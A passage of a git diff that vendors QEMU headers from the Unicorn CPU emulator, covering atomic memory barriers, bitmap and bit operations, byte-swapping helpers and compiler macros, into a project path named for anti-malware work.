non-cacheable stores with respect to + * each other. + * + * smp_mb has the same problem as on x86 for not-very-new GCC + * (http://patchwork.ozlabs.org/patch/126184/, Nov 2011). + */ +#define smp_wmb() ({ asm volatile("eieio" ::: "memory"); (void)0; }) +#if defined(__powerpc64__) +#define smp_rmb() ({ asm volatile("lwsync" ::: "memory"); (void)0; }) +#else +#define smp_rmb() ({ asm volatile("sync" ::: "memory"); (void)0; }) +#endif +#define smp_mb() ({ asm volatile("sync" ::: "memory"); (void)0; }) + +#endif /* _ARCH_PPC */ + +#endif /* C11 atomics */ + +/* + * For (host) platforms we don't have explicit barrier definitions + * for, we use the gcc __sync_synchronize() primitive to generate a + * full barrier. This should be safe on all platforms, though it may + * be overkill for smp_wmb() and smp_rmb(). + */ +#ifndef smp_mb +#define smp_mb() __sync_synchronize() +#endif + +#ifndef smp_wmb +#ifdef __ATOMIC_RELEASE +#define smp_wmb() __atomic_thread_fence(__ATOMIC_RELEASE) +#else +#define smp_wmb() __sync_synchronize() +#endif +#endif + +#ifndef smp_rmb +#ifdef __ATOMIC_ACQUIRE +#define smp_rmb() __atomic_thread_fence(__ATOMIC_ACQUIRE) +#else +#define smp_rmb() __sync_synchronize() +#endif +#endif + +#ifndef smp_read_barrier_depends +#ifdef __ATOMIC_CONSUME +#define smp_read_barrier_depends() __atomic_thread_fence(__ATOMIC_CONSUME) +#else +#define smp_read_barrier_depends() barrier() +#endif +#endif + +#ifndef atomic_read +#define atomic_read(ptr) (*(__typeof__(*ptr) *volatile) (ptr)) +#endif + +#ifndef atomic_set +#define atomic_set(ptr, i) ((*(__typeof__(*ptr) *volatile) (ptr)) = (i)) +#endif + +/* These have the same semantics as Java volatile variables. + * See http://gee.cs.oswego.edu/dl/jmm/cookbook.html: + * "1. Issue a StoreStore barrier (wmb) before each volatile store." + * 2. Issue a StoreLoad barrier after each volatile store. + * Note that you could instead issue one before each volatile load, but + * this would be slower for typical programs using volatiles in which + * reads greatly outnumber writes. Alternatively, if available, you + * can implement volatile store as an atomic instruction (for example + * XCHG on x86) and omit the barrier. This may be more efficient if + * atomic instructions are cheaper than StoreLoad barriers. + * 3. Issue LoadLoad and LoadStore barriers after each volatile load." + * + * If you prefer to think in terms of "pairing" of memory barriers, + * an atomic_mb_read pairs with an atomic_mb_set. + * + * And for the few ia64 lovers that exist, an atomic_mb_read is a ld.acq, + * while an atomic_mb_set is a st.rel followed by a memory barrier. + * + * These are a bit weaker than __atomic_load/store with __ATOMIC_SEQ_CST + * (see docs/atomics.txt), and I'm not sure that __ATOMIC_ACQ_REL is enough. + * Just always use the barriers manually by the rules above. + */ +#ifndef atomic_mb_read +#define atomic_mb_read(ptr) ({ \ + typeof(*ptr) _val = atomic_read(ptr); \ + smp_rmb(); \ + _val; \ +}) +#endif + +#ifndef atomic_mb_set +#define atomic_mb_set(ptr, i) do { \ + smp_wmb(); \ + atomic_set(ptr, i); \ + smp_mb(); \ +} while (0) +#endif + +#ifndef atomic_xchg +#if defined(__clang__) +#define atomic_xchg(ptr, i) __sync_swap(ptr, i) +#elif defined(__ATOMIC_SEQ_CST) +#define atomic_xchg(ptr, i) ({ \ + typeof(*ptr) _new = (i), _old; \ + __atomic_exchange(ptr, &_new, &_old, __ATOMIC_SEQ_CST); \ + _old; \ +}) +#else +/* __sync_lock_test_and_set() is documented to be an acquire barrier only. */ +#define atomic_xchg(ptr, i) (smp_mb(), __sync_lock_test_and_set(ptr, i)) +#endif +#endif + +/* Provide shorter names for GCC atomic builtins. */ +#ifdef _MSC_VER +// these return the new value (so we make it return the previous value) +#define atomic_fetch_inc(ptr) ((InterlockedIncrement(ptr))-1) +#define atomic_fetch_dec(ptr) ((InterlockedDecrement(ptr))+1) +#define atomic_fetch_add(ptr, n) ((InterlockedAdd(ptr, n))-n) +#define atomic_fetch_sub(ptr, n) ((InterlockedAdd(ptr, -n))+n) +#else +// these return the previous value +#define atomic_fetch_inc(ptr) __sync_fetch_and_add(ptr, 1) +#define atomic_fetch_dec(ptr) __sync_fetch_and_add(ptr, -1) +#define atomic_fetch_add __sync_fetch_and_add +#define atomic_fetch_sub __sync_fetch_and_sub +#define atomic_fetch_and __sync_fetch_and_and +#define atomic_fetch_or __sync_fetch_and_or +#define atomic_cmpxchg __sync_val_compare_and_swap +#endif + +/* And even shorter names that return void. */ +#ifdef _MSC_VER +#define atomic_inc(ptr) ((void) InterlockedIncrement(ptr)) +#define atomic_dec(ptr) ((void) InterlockedDecrement(ptr)) +#define atomic_add(ptr, n) ((void) InterlockedAdd(ptr, n)) +#define atomic_sub(ptr, n) ((void) InterlockedAdd(ptr, -n)) +#else +#define atomic_inc(ptr) ((void) __sync_fetch_and_add(ptr, 1)) +#define atomic_dec(ptr) ((void) __sync_fetch_and_add(ptr, -1)) +#define atomic_add(ptr, n) ((void) __sync_fetch_and_add(ptr, n)) +#define atomic_sub(ptr, n) ((void) __sync_fetch_and_sub(ptr, n)) +#define atomic_and(ptr, n) ((void) __sync_fetch_and_and(ptr, n)) +#define atomic_or(ptr, n) ((void) __sync_fetch_and_or(ptr, n)) +#endif + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/bitmap.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/bitmap.h new file mode 100644 index 0000000..b8faee8 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/bitmap.h @@ -0,0 +1,61 @@ +/* + * Bitmap Module + * + * Copyright (C) 2010 Corentin Chary <corentin.chary@gmail.com> + * + * Mostly inspired by (stolen from) linux/bitmap.h and linux/bitops.h + * + * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. + * See the COPYING.LIB file in the top-level directory. + */ + +#ifndef BITMAP_H +#define BITMAP_H + +#include "glib_compat.h" +#include <string.h> +#include <stdlib.h> + +#include "qemu/osdep.h" +#include "qemu/bitops.h" + +/* + * The available bitmap operations and their rough meaning in the + * case that the bitmap is a single unsigned long are thus: + * + * Note that nbits should be always a compile time evaluable constant. + * Otherwise many inlines will generate horrible code. + * + * qemu_bitmap_set(dst, pos, nbits) Set specified bit area + * qemu_bitmap_clear(dst, pos, nbits) Clear specified bit area + */ + +/* + * Also the following operations apply to bitmaps. + * + * set_bit(bit, addr) *addr |= bit + * clear_bit(bit, addr) *addr &= ~bit + */ + +#define BITMAP_LAST_WORD_MASK(nbits) \ + ( \ + ((nbits) % BITS_PER_LONG) ? \ + (1UL<<((nbits) % BITS_PER_LONG))-1 : ~0UL \ + ) + +#define DECLARE_BITMAP(name,bits) \ + unsigned long name[BITS_TO_LONGS(bits)] + +void qemu_bitmap_set(unsigned long *map, long i, long len); +void qemu_bitmap_clear(unsigned long *map, long start, long nr); + +static inline unsigned long *bitmap_zero_extend(unsigned long *old, + long old_nbits, long new_nbits) +{ + long new_len = BITS_TO_LONGS(new_nbits) * sizeof(unsigned long); + unsigned long *new = g_realloc(old, new_len); + qemu_bitmap_clear(new, old_nbits, new_nbits - old_nbits); + return new; +} + +#endif /* BITMAP_H */ diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/bitops.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/bitops.h new file mode 100644 index 0000000..b523df9 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/bitops.h @@ -0,0 +1,408 @@ +/* + * Bitops Module + * + * Copyright (C) 2010 Corentin Chary <corentin.chary@gmail.com> + * + * Mostly inspired by (stolen from) linux/bitmap.h and linux/bitops.h + * + * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. + * See the COPYING.LIB file in the top-level directory. + */ + +#ifndef BITOPS_H +#define BITOPS_H + +#include "unicorn/platform.h" +#include <assert.h> + +#include "host-utils.h" + +#define BITS_PER_BYTE CHAR_BIT +#define BITS_PER_LONG (sizeof (unsigned long) * BITS_PER_BYTE) + +#define BIT(nr) (1UL << (nr)) +#define BIT_MASK(nr) (1UL << ((nr) % BITS_PER_LONG)) +#define BIT_WORD(nr) ((nr) / BITS_PER_LONG) +#define BITS_TO_LONGS(nr) DIV_ROUND_UP(nr, BITS_PER_BYTE * sizeof(long)) + +/** + * set_bit - Set a bit in memory + * @nr: the bit to set + * @addr: the address to start counting from + */ +static inline void set_bit(long nr, unsigned long *addr) +{ + unsigned long mask = BIT_MASK(nr); + unsigned long *p = addr + BIT_WORD(nr); + + *p |= mask; +} + +/** + * clear_bit - Clears a bit in memory + * @nr: Bit to clear + * @addr: Address to start counting from + */ +static inline void clear_bit(long nr, unsigned long *addr) +{ + unsigned long mask = BIT_MASK(nr); + unsigned long *p = addr + BIT_WORD(nr); + + *p &= ~mask; +} + +/** + * change_bit - Toggle a bit in memory + * @nr: Bit to change + * @addr: Address to start counting from + */ +static inline void change_bit(long nr, unsigned long *addr) +{ + unsigned long mask = BIT_MASK(nr); + unsigned long *p = addr + BIT_WORD(nr); + + *p ^= mask; +} + +/** + * test_and_set_bit - Set a bit and return its old value + * @nr: Bit to set + * @addr: Address to count from + */ +static inline int test_and_set_bit(long nr, unsigned long *addr) +{ + unsigned long mask = BIT_MASK(nr); + unsigned long *p = addr + BIT_WORD(nr); + unsigned long old = *p; + + *p = old | mask; + return (old & mask) != 0; +} + +/** + * test_and_clear_bit - Clear a bit and return its old value + * @nr: Bit to clear + * @addr: Address to count from + */ +static inline int test_and_clear_bit(long nr, unsigned long *addr) +{ + unsigned long mask = BIT_MASK(nr); + unsigned long *p = addr + BIT_WORD(nr); + unsigned long old = *p; + + *p = old & ~mask; + return (old & mask) != 0; +} + +/** + * test_and_change_bit - Change a bit and return its old value + * @nr: Bit to change + * @addr: Address to count from + */ +static inline int test_and_change_bit(long nr, unsigned long *addr) +{ + unsigned long mask = BIT_MASK(nr); + unsigned long *p = addr + BIT_WORD(nr); + unsigned long old = *p; + + *p = old ^ mask; + return (old & mask) != 0; +} + +/** + * test_bit - Determine whether a bit is set + * @nr: bit number to test + * @addr: Address to start counting from + */ +static inline int test_bit(long nr, const unsigned long *addr) +{ + return 1UL & (addr[BIT_WORD(nr)] >> (nr & (BITS_PER_LONG-1))); +} + +/** + * find_next_bit - find the next set bit in a memory region + * @addr: The address to base the search on + * @offset: The bitnumber to start searching at + * @size: The bitmap size in bits + */ +unsigned long find_next_bit(const unsigned long *addr, + unsigned long size, unsigned long offset); + +/** + * find_next_zero_bit - find the next cleared bit in a memory region + * @addr: The address to base the search on + * @offset: The bitnumber to start searching at + * @size: The bitmap size in bits + */ + +unsigned long find_next_zero_bit(const unsigned long *addr, + unsigned long size, + unsigned long offset); + +/** + * find_first_bit - find the first set bit in a memory region + * @addr: The address to start the search at + * @size: The maximum size to search + * + * Returns the bit number of the first set bit. + */ +static inline unsigned long find_first_bit(const unsigned long *addr, + unsigned long size) +{ + unsigned long result, tmp; + + for (result = 0; result < size; result += BITS_PER_LONG) { + tmp = *addr++; + if (tmp) { + result += ctzl(tmp); + return result < size ? result : size; + } + } + /* Not found */ + return size; +} + +/** + * find_first_zero_bit - find the first cleared bit in a memory region + * @addr: The address to start the search at + * @size: The maximum size to search + * + * Returns the bit number of the first cleared bit. + */ +static inline unsigned long find_first_zero_bit(const unsigned long *addr, + unsigned long size) +{ + return find_next_zero_bit(addr, size, 0); +} + +static inline unsigned long hweight_long(unsigned long w) +{ + unsigned long count; + + for (count = 0; w; w >>= 1) { + count += w & 1; + } + return count; +} + +/** + * rol8 - rotate an 8-bit value left + * @word: value to rotate + * @shift: bits to roll + */ +static inline uint8_t rol8(uint8_t word, unsigned int shift) +{ + return (word << shift) | (word >> (8 - shift)); +} + +/** + * ror8 - rotate an 8-bit value right + * @word: value to rotate + * @shift: bits to roll + */ +static inline uint8_t ror8(uint8_t word, unsigned int shift) +{ + return (word >> shift) | (word << (8 - shift)); +} + +/** + * rol16 - rotate a 16-bit value left + * @word: value to rotate + * @shift: bits to roll + */ +static inline uint16_t rol16(uint16_t word, unsigned int shift) +{ + return (word << shift) | (word >> (16 - shift)); +} + +/** + * ror16 - rotate a 16-bit value right + * @word: value to rotate + * @shift: bits to roll + */ +static inline uint16_t ror16(uint16_t word, unsigned int shift) +{ + return (word >> shift) | (word << (16 - shift)); +} + +/** + * rol32 - rotate a 32-bit value left + * @word: value to rotate + * @shift: bits to roll + */ +static inline uint32_t rol32(uint32_t word, unsigned int shift) +{ + return (word << shift) | (word >> (32 - shift)); +} + +/** + * ror32 - rotate a 32-bit value right + * @word: value to rotate + * @shift: bits to roll + */ +static inline uint32_t ror32(uint32_t word, unsigned int shift) +{ + return (word >> shift) | (word << ((32 - shift) & 0x1f)); +} + +/** + * rol64 - rotate a 64-bit value left + * @word: value to rotate + * @shift: bits to roll + */ +static inline uint64_t rol64(uint64_t word, unsigned int shift) +{ + return (word << shift) | (word >> (64 - shift)); +} + +/** + * ror64 - rotate a 64-bit value right + * @word: value to rotate + * @shift: bits to roll + */ +static inline uint64_t ror64(uint64_t word, unsigned int shift) +{ + return (word >> shift) | (word << (64 - shift)); +} + +/** + * extract32: + * @value: the value to extract the bit field from + * @start: the lowest bit in the bit field (numbered from 0) + * @length: the length of the bit field + * + * Extract from the 32 bit input @value the bit field specified by the + * @start and @length parameters, and return it. The bit field must + * lie entirely within the 32 bit word. It is valid to request that + * all 32 bits are returned (ie @length 32 and @start 0). + * + * Returns: the value of the bit field extracted from the input value. + */ +static inline uint32_t extract32(uint32_t value, int start, int length) +{ + assert(start >= 0 && length > 0 && length <= 32 - start); + return (value >> start) & (~0U >> (32 - length)); +} + +/** + * extract64: + * @value: the value to extract the bit field from + * @start: the lowest bit in the bit field (numbered from 0) + * @length: the length of the bit field + * + * Extract from the 64 bit input @value the bit field specified by the + * @start and @length parameters, and return it. The bit field must + * lie entirely within the 64 bit word. It is valid to request that + * all 64 bits are returned (ie @length 64 and @start 0). + * + * Returns: the value of the bit field extracted from the input value. + */ +static inline uint64_t extract64(uint64_t value, int start, int length) +{ + assert(start >= 0 && length > 0 && length <= 64 - start); + return (value >> start) & (~0ULL >> (64 - length)); +} + +/** + * sextract32: + * @value: the value to extract the bit field from + * @start: the lowest bit in the bit field (numbered from 0) + * @length: the length of the bit field + * + * Extract from the 32 bit input @value the bit field specified by the + * @start and @length parameters, and return it, sign extended to + * an int32_t (ie with the most significant bit of the field propagated + * to all the upper bits of the return value). The bit field must lie + * entirely within the 32 bit word. It is valid to request that + * all 32 bits are returned (ie @length 32 and @start 0). + * + * Returns: the sign extended value of the bit field extracted from the + * input value. + */ +static inline int32_t sextract32(uint32_t value, int start, int length) +{ + assert(start >= 0 && length > 0 && length <= 32 - start); + /* Note that this implementation relies on right shift of signed + * integers being an arithmetic shift. + */ + return ((int32_t)(value << (32 - length - start))) >> (32 - length); +} + +/** + * sextract64: + * @value: the value to extract the bit field from + * @start: the lowest bit in the bit field (numbered from 0) + * @length: the length of the bit field + * + * Extract from the 64 bit input @value the bit field specified by the + * @start and @length parameters, and return it, sign extended to + * an int64_t (ie with the most significant bit of the field propagated + * to all the upper bits of the return value). The bit field must lie + * entirely within the 64 bit word. It is valid to request that + * all 64 bits are returned (ie @length 64 and @start 0). + * + * Returns: the sign extended value of the bit field extracted from the + * input value. + */ +static inline uint64_t sextract64(uint64_t value, int start, int length) +{ + assert(start >= 0 && length > 0 && length <= 64 - start); + /* Note that this implementation relies on right shift of signed + * integers being an arithmetic shift. + */ + return ((int64_t)(value << (64 - length - start))) >> (64 - length); +} + +/** + * deposit32: + * @value: initial value to insert bit field into + * @start: the lowest bit in the bit field (numbered from 0) + * @length: the length of the bit field + * @fieldval: the value to insert into the bit field + * + * Deposit @fieldval into the 32 bit @value at the bit field specified + * by the @start and @length parameters, and return the modified + * @value. Bits of @value outside the bit field are not modified. + * Bits of @fieldval above the least significant @length bits are + * ignored. The bit field must lie entirely within the 32 bit word. + * It is valid to request that all 32 bits are modified (ie @length + * 32 and @start 0). + * + * Returns: the modified @value. + */ +static inline uint32_t deposit32(uint32_t value, int start, int length, + uint32_t fieldval) +{ + uint32_t mask; + assert(start >= 0 && length > 0 && length <= 32 - start); + mask = (~0U >> (32 - length)) << start; + return (value & ~mask) | ((fieldval << start) & mask); +} + +/** + * deposit64: + * @value: initial value to insert bit field into + * @start: the lowest bit in the bit field (numbered from 0) + * @length: the length of the bit field + * @fieldval: the value to insert into the bit field + * + * Deposit @fieldval into the 64 bit @value at the bit field specified + * by the @start and @length parameters, and return the modified + * @value. Bits of @value outside the bit field are not modified. + * Bits of @fieldval above the least significant @length bits are + * ignored. The bit field must lie entirely within the 64 bit word. + * It is valid to request that all 64 bits are modified (ie @length + * 64 and @start 0). + * + * Returns: the modified @value. + */ +static inline uint64_t deposit64(uint64_t value, int start, int length, + uint64_t fieldval) +{ + uint64_t mask; + assert(start >= 0 && length > 0 && length <= 64 - start); + mask = (~0ULL >> (64 - length)) << start; + return (value & ~mask) | ((fieldval << start) & mask); +} + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/bswap.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/bswap.h new file mode 100644 index 0000000..9d069d0 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/bswap.h @@ -0,0 +1,434 @@ +#ifndef BSWAP_H +#define BSWAP_H + +#include "config-host.h" +#include "unicorn/platform.h" +#include <limits.h> +#include <string.h> +#include "fpu/softfloat.h" + +#ifdef CONFIG_MACHINE_BSWAP_H +# include <sys/endian.h> +# include <sys/types.h> +# include <machine/bswap.h> +#elif defined(__FreeBSD__) +# include <sys/endian.h> +#elif defined(CONFIG_BYTESWAP_H) +# include <byteswap.h> + +static inline uint16_t bswap16(uint16_t x) +{ + return bswap_16(x); +} + +static inline uint32_t bswap32(uint32_t x) +{ + return bswap_32(x); +} + +static inline uint64_t bswap64(uint64_t x) +{ + return bswap_64(x); +} +# else +static inline uint16_t bswap16(uint16_t x) +{ + return (((x & 0x00ff) << 8) | + ((x & 0xff00) >> 8)); +} + +static inline uint32_t bswap32(uint32_t x) +{ + return (((x & 0x000000ffU) << 24) | + ((x & 0x0000ff00U) << 8) | + ((x & 0x00ff0000U) >> 8) | + ((x & 0xff000000U) >> 24)); +} + +static inline uint64_t bswap64(uint64_t x) +{ + return (((x & 0x00000000000000ffULL) << 56) | + ((x & 0x000000000000ff00ULL) << 40) | + ((x & 0x0000000000ff0000ULL) << 24) | + ((x & 0x00000000ff000000ULL) << 8) | + ((x & 0x000000ff00000000ULL) >> 8) | + ((x & 0x0000ff0000000000ULL) >> 24) | + ((x & 0x00ff000000000000ULL) >> 40) | + ((x & 0xff00000000000000ULL) >> 56)); +} +#endif /* ! CONFIG_MACHINE_BSWAP_H */ + +static inline void bswap16s(uint16_t *s) +{ + *s = bswap16(*s); +} + +static inline void bswap32s(uint32_t *s) +{ + *s = bswap32(*s); +} + +static inline void bswap64s(uint64_t *s) +{ + *s = bswap64(*s); +} + +#if defined(HOST_WORDS_BIGENDIAN) +#define be_bswap(v, size) (v) +#define le_bswap(v, size) glue(bswap, size)(v) +#define be_bswaps(v, size) +#define le_bswaps(p, size) do { *p = glue(bswap, size)(*p); } while(0) +#else +#define le_bswap(v, size) (v) +#define be_bswap(v, size) glue(bswap, size)(v) +#define le_bswaps(v, size) +#define be_bswaps(p, size) do { *p = glue(bswap, size)(*p); } while(0) +#endif + +#define CPU_CONVERT(endian, size, type)\ +static inline type endian ## size ## _to_cpu(type v)\ +{\ + return glue(endian, _bswap)(v, size);\ +}\ +\ +static inline type cpu_to_ ## endian ## size(type v)\ +{\ + return glue(endian, _bswap)(v, size);\ +}\ +\ +static inline void endian ## size ## _to_cpus(type *p)\ +{\ + glue(endian, _bswaps)(p, size);\ +}\ +\ +static inline void cpu_to_ ## endian ## size ## s(type *p)\ +{\ + glue(endian, _bswaps)(p, size);\ +}\ +\ +static inline type endian ## size ## _to_cpup(const type *p)\ +{\ + return glue(glue(endian, size), _to_cpu)(*p);\ +}\ +\ +static inline void cpu_to_ ## endian ## size ## w(type *p, type v)\ +{\ + *p = glue(glue(cpu_to_, endian), size)(v);\ +} + +CPU_CONVERT(be, 16, uint16_t) +CPU_CONVERT(be, 32, uint32_t) +CPU_CONVERT(be, 64, uint64_t) + +CPU_CONVERT(le, 16, uint16_t) +CPU_CONVERT(le, 32, uint32_t) +CPU_CONVERT(le, 64, uint64_t) + +/* len must be one of 1, 2, 4 */ +static inline uint32_t qemu_bswap_len(uint32_t value, int len) +{ + return bswap32(value) >> (32 - 8 * len); +} + +/* Unions for reinterpreting between floats and integers. */ + +typedef union { + float32 f; + uint32_t l; +} CPU_FloatU; + +typedef union { + float64 d; +#if defined(HOST_WORDS_BIGENDIAN) + struct { + uint32_t upper; + uint32_t lower; + } l; +#else + struct { + uint32_t lower; + uint32_t upper; + } l; +#endif + uint64_t ll; +} CPU_DoubleU; + +typedef union { + floatx80 d; + struct { + uint64_t lower; + uint16_t upper; + } l; +} CPU_LDoubleU; + +typedef union { + float128 q; +#if defined(HOST_WORDS_BIGENDIAN) + struct { + uint32_t upmost; + uint32_t upper; + uint32_t lower; + uint32_t lowest; + } l; + struct { + uint64_t upper; + uint64_t lower; + } ll; +#else + struct { + uint32_t lowest; + uint32_t lower; + uint32_t upper; + uint32_t upmost; + } l; + struct { + uint64_t lower; + uint64_t upper; + } ll; +#endif +} CPU_QuadU; + +/* unaligned/endian-independent pointer access */ + +/* + * the generic syntax is: + * + * load: ld{type}{sign}{size}{endian}_p(ptr) + * + * store: st{type}{size}{endian}_p(ptr, val) + * + * Note there are small differences with the softmmu access API! + * + * type is: + * (empty): integer access + * f : float access + * + * sign is: + * (empty): for floats or 32 bit size + * u : unsigned + * s : signed + * + * size is: + * b: 8 bits + * w: 16 bits + * l: 32 bits + * q: 64 bits + * + * endian is: + * he : host endian + * be : big endian + * le : little endian + * (except for byte accesses, which have no endian infix). + */ + +static inline int ldub_p(const void *ptr) +{ + return *(uint8_t *)ptr; +} + +static inline int ldsb_p(const void *ptr) +{ + return *(int8_t *)ptr; +} + +static inline void stb_p(void *ptr, uint8_t v) +{ + *(uint8_t *)ptr = v; +} + +/* Any compiler worth its salt will turn these memcpy into native unaligned + operations. Thus we don't need to play games with packed attributes, or + inline byte-by-byte stores. */ + +static inline int lduw_he_p(const void *ptr) +{ + uint16_t r; + memcpy(&r, ptr, sizeof(r)); + return r; +} + +static inline int ldsw_he_p(const void *ptr) +{ + int16_t r; + memcpy(&r, ptr, sizeof(r)); + return r; +} + +static inline void stw_he_p(void *ptr, uint16_t v) +{ + memcpy(ptr, &v, sizeof(v)); +} + +static inline int ldl_he_p(const void *ptr) +{ + int32_t r; + memcpy(&r, ptr, sizeof(r)); + return r; +} + +static inline void stl_he_p(void *ptr, uint32_t v) +{ + memcpy(ptr, &v, sizeof(v)); +} + +static inline uint64_t ldq_he_p(const void *ptr) +{ + uint64_t r; + memcpy(&r, ptr, sizeof(r)); + return r; +} + +static inline void stq_he_p(void *ptr, uint64_t v) +{ + memcpy(ptr, &v, sizeof(v)); +} + +static inline int lduw_le_p(const void *ptr) +{ + return (uint16_t)le_bswap(lduw_he_p(ptr), 16); +} + +static inline int ldsw_le_p(const void *ptr) +{ + return (int16_t)le_bswap(lduw_he_p(ptr), 16); +} + +static inline int ldl_le_p(const void *ptr) +{ + return le_bswap(ldl_he_p(ptr), 32); +} + +static inline uint64_t ldq_le_p(const void *ptr) +{ + return le_bswap(ldq_he_p(ptr), 64); +} + +static inline void stw_le_p(void *ptr, uint16_t v) +{ + stw_he_p(ptr, le_bswap(v, 16)); +} + +static inline void stl_le_p(void *ptr, uint32_t v) +{ + stl_he_p(ptr, le_bswap(v, 32)); +} + +static inline void stq_le_p(void *ptr, uint64_t v) +{ + stq_he_p(ptr, le_bswap(v, 64)); +} + +/* float access */ + +static inline float32 ldfl_le_p(const void *ptr) +{ + CPU_FloatU u; + u.l = ldl_le_p(ptr); + return u.f; +} + +static inline void stfl_le_p(void *ptr, float32 v) +{ + CPU_FloatU u; + u.f = v; + stl_le_p(ptr, u.l); +} + +static inline float64 ldfq_le_p(const void *ptr) +{ + CPU_DoubleU u; + u.ll = ldq_le_p(ptr); + return u.d; +} + +static inline void stfq_le_p(void *ptr, float64 v) +{ + CPU_DoubleU u; + u.d = v; + stq_le_p(ptr, u.ll); +} + +static inline int lduw_be_p(const void *ptr) +{ + return (uint16_t)be_bswap(lduw_he_p(ptr), 16); +} + +static inline int ldsw_be_p(const void *ptr) +{ + return (int16_t)be_bswap(lduw_he_p(ptr), 16); +} + +static inline int ldl_be_p(const void *ptr) +{ + return be_bswap(ldl_he_p(ptr), 32); +} + +static inline uint64_t ldq_be_p(const void *ptr) +{ + return be_bswap(ldq_he_p(ptr), 64); +} + +static inline void stw_be_p(void *ptr, uint16_t v) +{ + stw_he_p(ptr, be_bswap(v, 16)); +} + +static inline void stl_be_p(void *ptr, uint32_t v) +{ + stl_he_p(ptr, be_bswap(v, 32)); +} + +static inline void stq_be_p(void *ptr, uint64_t v) +{ + stq_he_p(ptr, be_bswap(v, 64)); +} + +/* float access */ + +static inline float32 ldfl_be_p(const void *ptr) +{ + CPU_FloatU u; + u.l = ldl_be_p(ptr); + return u.f; +} + +static inline void stfl_be_p(void *ptr, float32 v) +{ + CPU_FloatU u; + u.f = v; + stl_be_p(ptr, u.l); +} + +static inline float64 ldfq_be_p(const void *ptr) +{ + CPU_DoubleU u; + u.ll = ldq_be_p(ptr); + return u.d; +} + +static inline void stfq_be_p(void *ptr, float64 v) +{ + CPU_DoubleU u; + u.d = v; + stq_be_p(ptr, u.ll); +} + +static inline unsigned long leul_to_cpu(unsigned long v) +{ + /* In order to break an include loop between here and + qemu-common.h, don't rely on HOST_LONG_BITS. */ +#if ULONG_MAX == UINT32_MAX + return le_bswap(v, 32); +#elif ULONG_MAX == UINT64_MAX + return le_bswap(v, 64); +#else +# error Unknown sizeof long +#endif +} + +#undef le_bswap +#undef be_bswap +#undef le_bswaps +#undef be_bswaps + +#endif /* BSWAP_H */ diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/compiler.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/compiler.h new file mode 100644 index 0000000..d0e322f --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qemu/compiler.h @@ -0,0 +1,137 @@ +/* public domain */ + +#ifndef COMPILER_H +#define COMPILER_H + +#include "config-host.h" +#include "unicorn/platform.h" + +#ifdef _MSC_VER +// MSVC support + +#define inline __inline +#define __func__ __FUNCTION__ + +#include <math.h> +#include <float.h> + +#if _MSC_VER < MSC_VER_VS2013 +#define isinf(x) (!_finite(x)) +#if defined(_WIN64) +#define isnan _isnanf +#else +#define isnan _isnan +#endif +#endif + +/* gcc __builtin___clear_cache() */ +static inline void __builtin___clear_cache(void *beg, void *e) +{ + unsigned char *start = beg; + unsigned char *end = e; + FlushInstructionCache(GetCurrentProcess(), start, end - start); +} + +static inline double rint( double x ) +{ + return floor(x < 0 ? x - 0.5 : x + 0.5); +} + +union MSVC_FLOAT_HACK +{ + unsigned char Bytes[4]; + float Value; +}; + +#ifndef NAN +static union MSVC_FLOAT_HACK __NAN = {{0x00, 0x00, 0xC0, 0x7F}}; +#define NAN (__NAN.Value) +#endif + +#define QEMU_DIV0 __pragma(warning(suppress:2124)) // divide by zero error + +#define QEMU_GNUC_PREREQ(maj, min) 0 + +#define QEMU_NORETURN __declspec(noreturn) +#define QEMU_UNUSED_VAR __pragma(warning(suppress:4100)) // unused variables only +#define QEMU_UNUSED_FUNC +#define QEMU_WARN_UNUSED_RESULT +#define QEMU_ARTIFICIAL +#define QEMU_PACK( __Declaration__ ) __pragma( pack(push, 1) ) __Declaration__ __pragma( pack(pop) ) + +#define QEMU_ALIGN(A, B) __declspec(align(A)) B + +#define cat(x,y) x ## y +#define cat2(x,y) cat(x,y) +#define QEMU_BUILD_BUG_ON(x) \ + typedef char cat2(qemu_build_bug_on__,__LINE__)[(x)?-1:1] QEMU_UNUSED_VAR; + +#define GCC_FMT_ATTR(n, m) + +#else + +#ifndef NAN +#define NAN (0.0 / 0.0) +#endif + +/*---------------------------------------------------------------------------- +| The macro QEMU_GNUC_PREREQ tests for minimum version of the GNU C compiler. +| The code is a copy of SOFTFLOAT_GNUC_PREREQ, see softfloat-macros.h. +*----------------------------------------------------------------------------*/ +#if defined(__GNUC__) && defined(__GNUC_MINOR__) +# define QEMU_GNUC_PREREQ(maj, min) \ + ((__GNUC__ << 16) + __GNUC_MINOR__ >= ((maj) << 16) + (min)) +#else +# define QEMU_GNUC_PREREQ(maj, min) 0 +#endif + +#define QEMU_NORETURN __attribute__ ((__noreturn__)) + +#define QEMU_UNUSED_VAR __attribute__((unused)) +#define QEMU_UNUSED_FUNC __attribute__((unused)) + +#if QEMU_GNUC_PREREQ(3, 4) +#define QEMU_WARN_UNUSED_RESULT __attribute__((warn_unused_result)) +#else +#define QEMU_WARN_UNUSED_RESULT +#endif + +#if QEMU_GNUC_PREREQ(4, 3) +#define QEMU_ARTIFICIAL __attribute__((always_inline, artificial)) +#else +#define QEMU_ARTIFICIAL +#endif + +#if defined(_WIN32) +# define QEMU_PACK( __Declaration__ ) __Declaration__ __attribute__((gcc_struct, packed)) +#else +# define QEMU_PACK( __Declaration__ ) __Declaration__ __attribute__((packed)) +#endif + +#define QEMU_ALIGN(A, B) B __attribute__((aligned(A))) + +#define cat(x,y) x ## y +#define cat2(x,y) cat(x,y) +#define QEMU_BUILD_BUG_ON(x) \ + typedef char cat2(qemu_build_bug_on__,__LINE__)[(x)?-1:1] __attribute__((unused)); + +#if defined __GNUC__ +# if !QEMU_GNUC_PREREQ(4, 4) + /* gcc versions before 4.4.x don't support gnu_printf, so use printf. */ 